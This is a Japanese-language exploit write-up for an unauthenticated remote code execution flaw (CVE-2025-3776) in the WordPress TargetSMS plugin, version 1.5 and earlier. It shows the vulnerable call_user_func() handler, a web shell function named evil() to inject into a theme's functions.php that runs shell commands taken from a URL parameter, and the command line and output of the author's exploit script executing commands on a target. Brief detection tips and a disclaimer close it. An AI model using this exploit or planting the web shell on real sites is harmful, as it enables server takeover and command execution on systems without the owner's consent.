
WordPress Verification SMS with TargetSMS Plugin <= 1.5 は、Remote Code Execution (RCE) に対して脆弱です。
この脆弱性は、許可された関数のホワイトリストによるサニタイズを行わずに、ユーザー制御の入力に対してcall_user_func()を使用したことに起因します。これにより、認証なしでメモリ内の既存のPHP関数を実行できるロジック上の欠陥が生じ、深刻なリモートコード実行(RCE)状態に陥ります。
ファイル: /inc/ajax.php
add_action('wp_ajax_nopriv_targetvrHHndler', 'targetvr_ajax_handler');
function targetvr_ajax_handler(){
$callback = targetvr_get_postData('callback', 'string');
if ($callback and function_exists($callback)){
call_user_func($callback);
} else {
targetvr_return_json(false);
}
wp_die();
}
このコードは、認証されていないユーザーがメモリ内の任意の関数をトリガーすることを許可します。これには、攻撃者がロードできた場合の悪意のある関数も含まれます。
この脆弱性を悪用するには、WordPress環境に呼び出し可能な関数がすでに存在している必要があります。WordPressのプラグインやテーマは関数を自動ロードできるため、攻撃者はアクティブなテーマのfunctions.phpファイルを介して独自の関数を注入できます。
target.com/wp-content/themes/twentytwentyfour/functions.php
functions.phpの末尾に注入します:function evil() {
if (isset($_GET['cmd'])) {
echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';
} else {
echo '<pre>' . shell_exec("whoami") . '</pre>';
}
exit;
}
✅ これにより、
evil()関数がメモリにロードされ、call_user_func()を介して実行可能になります。
python3 CVE-2025-3776.py -u http://target.com -c "id"
[*] Checking plugin version...
[+] Plugin version detected: 1.5
[+] Plugin is vulnerable. Proceeding with exploitation...
[*] Sending exploit request...
[+] Exploit succeeded!
<pre>uid=1(daemon) gid=1(daemon) groups=1(daemon)</pre>
Exploit By : Nxploited ( Khaled Alenazi )
usage: CVE-2025-3776.py [-h] -u URL [-c CMD]
CVE-2025-3776 Exploit for TargetSMS Plugin <= 1.5
# Exploit by Nxploited ( Khaled Alenazi )
options:
-h, --help show this help message and exit
-u, --url URL Target WordPress site URL
-c, --cmd CMD Command to execute (default: whoami)
メモリ内にevil()関数や同様の関数が利用できない場合:
{"status":false}
functions.phpを変更(実演通り)。evil()を含むPHPファイルをアップロード。悪意のある関数がロードされると、認証されていない攻撃者は以下を実行できます:
以下のエンドポイントへの繰り返しのPOSTリクエストを監視します:
/wp-admin/admin-ajax.php?action=targetvrHHndler
callback=evilまたは予期しない関数名が含まれているか確認。
この情報は教育的かつ倫理的な研究目的でのみ提供されます。著者は、この情報の使用によって引き起こされる誤用や損害について一切の責任を負いません。
エクスプロイト作者: Nxploited (Khaled Alenazi)